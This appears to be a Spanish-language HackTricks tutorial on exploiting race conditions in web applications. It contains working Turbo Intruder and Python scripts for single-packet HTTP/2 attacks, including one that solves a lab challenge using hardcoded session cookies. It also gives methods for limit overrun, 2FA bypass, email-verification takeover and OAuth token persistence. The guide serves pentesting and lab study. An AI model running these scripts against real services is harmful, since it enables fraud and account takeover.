24 KiB
Condición de Carrera
Usa Trickest para construir y automatizar flujos de trabajo fácilmente impulsados por las herramientas comunitarias más avanzadas del mundo.
Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repos de github.
{% hint style="warning" %} Para obtener una comprensión profunda de esta técnica, consulta el informe original en https://portswigger.net/research/smashing-the-state-machine {% endhint %}
Mejorando los Ataques de Condición de Carrera
El principal obstáculo para aprovechar las condiciones de carrera es asegurarse de que múltiples solicitudes se manejen al mismo tiempo, con muy poca diferencia en sus tiempos de procesamiento—idealmente, menos de 1ms.
Aquí puedes encontrar algunas técnicas para Sincronizar Solicitudes:
Ataque de Paquete Único HTTP/2 vs. Sincronización de Último Byte HTTP/1.1
- HTTP/2: Soporta el envío de dos solicitudes a través de una única conexión TCP, reduciendo el impacto del jitter de red. Sin embargo, debido a las variaciones del lado del servidor, dos solicitudes pueden no ser suficientes para un exploit consistente de condición de carrera.
- Sincronización de 'Último Byte' HTTP/1.1: Permite el pre-envío de la mayoría de las partes de 20-30 solicitudes, reteniendo un pequeño fragmento, que luego se envía junto, logrando una llegada simultánea al servidor.
La preparación para la Sincronización de Último Byte implica:
- Enviar encabezados y datos del cuerpo menos el byte final sin finalizar el flujo.
- Pausar durante 100ms después del envío inicial.
- Desactivar TCP_NODELAY para utilizar el algoritmo de Nagle para agrupar los cuadros finales.
- Hacer ping para calentar la conexión.
El envío posterior de los cuadros retenidos debería resultar en su llegada en un solo paquete, verificable a través de Wireshark. Este método no se aplica a archivos estáticos, que no suelen estar involucrados en ataques de RC.
Adaptándose a la Arquitectura del Servidor
Entender la arquitectura del objetivo es crucial. Los servidores front-end pueden enrutar las solicitudes de manera diferente, afectando el tiempo. El calentamiento proactivo de la conexión del lado del servidor, a través de solicitudes insignificantes, podría normalizar el tiempo de las solicitudes.
Manejo de Bloqueo Basado en Sesiones
Frameworks como el manejador de sesiones de PHP serializan las solicitudes por sesión, potencialmente oscureciendo vulnerabilidades. Utilizar diferentes tokens de sesión para cada solicitud puede eludir este problema.
Superando Límites de Tasa o Recursos
Si el calentamiento de la conexión no es efectivo, provocar intencionalmente retrasos en los límites de tasa o recursos de los servidores web a través de una inundación de solicitudes ficticias podría facilitar el ataque de paquete único al inducir un retraso del lado del servidor propicio para las condiciones de carrera.
Ejemplos de Ataque
- Tubo Intruder - ataque de paquete único HTTP2 (1 endpoint): Puedes enviar la solicitud a Turbo intruder (
Extensions
->Turbo Intruder
->Send to Turbo Intruder
), puedes cambiar en la solicitud el valor que deseas forzar para%s
como encsrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s
y luego seleccionar elexamples/race-single-packer-attack.py
del menú desplegable:
Si vas a enviar diferentes valores, podrías modificar el código con este que utiliza una lista de palabras del portapapeles:
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
{% hint style="warning" %}
Si la web no soporta HTTP2 (solo HTTP1.1) usa Engine.THREADED
o Engine.BURP
en lugar de Engine.BURP2
.
{% endhint %}
- Tubo Intruder - ataque de un solo paquete HTTP2 (Varios puntos finales): En caso de que necesites enviar una solicitud a 1 punto final y luego múltiples a otros puntos finales para activar el RCE, puedes cambiar el script
race-single-packet-attack.py
por algo como:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0
'''
# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
- También está disponible en Repeater a través de la nueva opción 'Enviar grupo en paralelo' en Burp Suite.
- Para limit-overrun podrías simplemente agregar la misma solicitud 50 veces en el grupo.
- Para connection warming, podrías agregar al principio del grupo algunas solicitudes a alguna parte no estática del servidor web.
- Para delaying el proceso entre el procesamiento de una solicitud y otra en 2 pasos de subestado, podrías agregar solicitudes extra entre ambas solicitudes.
- Para un multi-endpoint RC podrías comenzar enviando la solicitud que va al estado oculto y luego 50 solicitudes justo después que explotan el estado oculto.
- Script de python automatizado: El objetivo de este script es cambiar el correo electrónico de un usuario mientras se verifica continuamente hasta que el token de verificación del nuevo correo llegue al último correo (esto se debe a que en el código se estaba viendo un RC donde era posible modificar un correo pero tener la verificación enviada al antiguo porque la variable que indicaba el correo ya estaba poblada con el primero).
Cuando se encuentra la palabra "objetivo" en los correos electrónicos recibidos, sabemos que hemos recibido el token de verificación del correo cambiado y terminamos el ataque.
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests
cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"
# change these headers
headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""
bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'
headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"
host = "94.237.56.46"
puerto =39697
url = "https://"+host+":"+str(puerto)+"/email/"
response = requests.get(url, verify=False)
while "objetivo" not in response.text:
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
print(responseReset.status_code)
h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)
h2_conn.setup_connection()
try_num = 100
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
all_headers_frames = [] # all headers frame + data frames which have not the last byte
all_data_frames = [] # all data frames which contain the last byte
for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)
all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)
# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)
# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)
h2_conn.send_bytes(temp_headers_bytes)
# wait some time
sleep(0.1)
# send ping frame to warm up connection
h2_conn.send_ping_frame()
# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)
resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()
print('---')
sleep(3)
h2_conn.close_connection()
response = requests.get(url, verify=False)
Mejora del Ataque de Paquete Único
En la investigación original se explica que este ataque tiene un límite de 1,500 bytes. Sin embargo, en esta publicación, se explicó cómo es posible extender la limitación de 1,500 bytes del ataque de paquete único a la limitación de ventana de 65,535 B de TCP utilizando la fragmentación de capa IP (dividiendo un solo paquete en múltiples paquetes IP) y enviándolos en un orden diferente, lo que permitió evitar la reensambladura del paquete hasta que todos los fragmentos llegaran al servidor. Esta técnica permitió al investigador enviar 10,000 solicitudes en aproximadamente 166 ms.
Tenga en cuenta que, aunque esta mejora hace que el ataque sea más confiable en RC que requiere que cientos/miles de paquetes lleguen al mismo tiempo, también puede tener algunas limitaciones de software. Algunos servidores HTTP populares como Apache, Nginx y Go tienen una configuración estricta de SETTINGS_MAX_CONCURRENT_STREAMS
de 100, 128 y 250. Sin embargo, otros como NodeJS y nghttp2 lo tienen ilimitado.
Esto significa básicamente que Apache solo considerará 100 conexiones HTTP de una sola conexión TCP (limitando este ataque RC).
Puede encontrar algunos ejemplos utilizando esta técnica en el repositorio https://github.com/Ry0taK/first-sequence-sync/tree/main.
BF Crudo
Antes de la investigación anterior, estos eran algunos payloads utilizados que solo intentaban enviar los paquetes lo más rápido posible para causar un RC.
- Repetidor: Consulte los ejemplos de la sección anterior.
- Intruso: Envíe la solicitud a Intruso, establezca el número de hilos en 30 dentro del menú de Opciones y seleccione como payload Payloads Nulos y genere 30.
- Turbo Intruso
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
- Python - asyncio
import asyncio
import httpx
async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
asyncio.run(main())
Metodología RC
Limit-overrun / TOCTOU
Este es el tipo más básico de condición de carrera donde vulnerabilidades que aparecen en lugares que limitan el número de veces que puedes realizar una acción. Como usar el mismo código de descuento en una tienda web varias veces. Un ejemplo muy fácil se puede encontrar en este informe o en este error.
Hay muchas variaciones de este tipo de ataque, incluyendo:
- Redimir una tarjeta de regalo varias veces
- Calificar un producto varias veces
- Retirar o transferir efectivo en exceso de tu saldo de cuenta
- Reutilizar una única solución CAPTCHA
- Eludir un límite de tasa anti-fuerza bruta
Subestados ocultos
Explotar condiciones de carrera complejas a menudo implica aprovechar breves oportunidades para interactuar con subestados de máquina ocultos o no intencionados. Aquí te mostramos cómo abordar esto:
- Identificar Subestados Ocultos Potenciales
- Comienza por identificar puntos finales que modifican o interactúan con datos críticos, como perfiles de usuario o procesos de restablecimiento de contraseña. Enfócate en:
- Almacenamiento: Prefiere puntos finales que manipulan datos persistentes del lado del servidor sobre aquellos que manejan datos del lado del cliente.
- Acción: Busca operaciones que alteren datos existentes, que son más propensas a crear condiciones explotables en comparación con aquellas que añaden nuevos datos.
- Claves: Los ataques exitosos generalmente involucran operaciones basadas en el mismo identificador, por ejemplo, nombre de usuario o token de restablecimiento.
- Realizar Sondeos Iniciales
- Prueba los puntos finales identificados con ataques de condición de carrera, observando cualquier desviación de los resultados esperados. Respuestas inesperadas o cambios en el comportamiento de la aplicación pueden señalar una vulnerabilidad.
- Demostrar la Vulnerabilidad
- Reduce el ataque al número mínimo de solicitudes necesarias para explotar la vulnerabilidad, a menudo solo dos. Este paso puede requerir múltiples intentos o automatización debido al tiempo preciso involucrado.
Ataques Sensibles al Tiempo
La precisión en el tiempo de las solicitudes puede revelar vulnerabilidades, especialmente cuando se utilizan métodos predecibles como marcas de tiempo para tokens de seguridad. Por ejemplo, generar tokens de restablecimiento de contraseña basados en marcas de tiempo podría permitir tokens idénticos para solicitudes simultáneas.
Para Explotar:
- Usa un tiempo preciso, como un ataque de paquete único, para hacer solicitudes de restablecimiento de contraseña concurrentes. Tokens idénticos indican una vulnerabilidad.
Ejemplo:
- Solicita dos tokens de restablecimiento de contraseña al mismo tiempo y compáralos. Tokens coincidentes sugieren un defecto en la generación de tokens.
Revisa esto PortSwigger Lab para probar esto.
Estudios de caso de subestados ocultos
Pagar y añadir un artículo
Revisa este PortSwigger Lab para ver cómo pagar en una tienda y agregar un extra que no necesitarás pagar.
Confirmar otros correos electrónicos
La idea es verificar una dirección de correo electrónico y cambiarla a una diferente al mismo tiempo para averiguar si la plataforma verifica la nueva que se cambió.
Cambiar correo electrónico a 2 direcciones de correo basadas en cookies
Según esta investigación, Gitlab era vulnerable a una toma de control de esta manera porque podría enviar el token de verificación de correo de un correo al otro correo.
Revisa esto PortSwigger Lab para probar esto.
Estados ocultos de la base de datos / Bypass de confirmación
Si se utilizan 2 escrituras diferentes para agregar información dentro de una base de datos, hay una pequeña porción de tiempo donde solo los primeros datos han sido escritos dentro de la base de datos. Por ejemplo, al crear un usuario, el nombre de usuario y contraseña pueden ser escritos y luego el token para confirmar la cuenta recién creada es escrito. Esto significa que durante un breve tiempo el token para confirmar una cuenta es nulo.
Por lo tanto, registrar una cuenta y enviar varias solicitudes con un token vacío (token=
o token[]=
o cualquier otra variación) para confirmar la cuenta de inmediato podría permitir confirmar una cuenta donde no controlas el correo electrónico.
Revisa esto PortSwigger Lab para probar esto.
Bypass 2FA
El siguiente pseudo-código es vulnerable a condición de carrera porque en un tiempo muy pequeño 2FA no se aplica mientras se crea la sesión:
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
Persistencia eterna de OAuth2
Hay varios proveedores de OAUth. Estos servicios te permitirán crear una aplicación y autenticar a los usuarios que el proveedor ha registrado. Para hacerlo, el cliente necesitará permitir que tu aplicación acceda a algunos de sus datos dentro del proveedor de OAUth.
Así que, hasta aquí, solo un inicio de sesión común con google/linkedin/github... donde se te presenta una página que dice: "La aplicación <InsertCoolName> quiere acceder a tu información, ¿quieres permitirlo?"
Condición de carrera en authorization_code
El problema aparece cuando lo aceptas y automáticamente envía un authorization_code
a la aplicación maliciosa. Luego, esta aplicación abusa de una Condición de Carrera en el proveedor de servicio OAUth para generar más de un AT/RT (Token de Autenticación/Token de Refresco) a partir del authorization_code
de tu cuenta. Básicamente, abusará del hecho de que has aceptado la aplicación para acceder a tus datos para crear varias cuentas. Luego, si dejas de permitir que la aplicación acceda a tus datos, un par de AT/RT será eliminado, pero los otros seguirán siendo válidos.
Condición de carrera en Refresh Token
Una vez que has obtenido un RT válido, podrías intentar abusar de él para generar varios AT/RT y incluso si el usuario cancela los permisos para que la aplicación maliciosa acceda a sus datos, varios RT seguirán siendo válidos.
RC en WebSockets
En WS_RaceCondition_PoC puedes encontrar un PoC en Java para enviar mensajes de websocket en paralelo para abusar de Condiciones de Carrera también en Web Sockets.
Referencias
- https://hackerone.com/reports/759247
- https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html
- https://hackerone.com/reports/55140
- https://portswigger.net/research/smashing-the-state-machine
- https://portswigger.net/web-security/race-conditions
- https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/
{% hint style="success" %}
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Usa Trickest para construir y automatizar flujos de trabajo fácilmente impulsados por las herramientas comunitarias más avanzadas del mundo.
Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}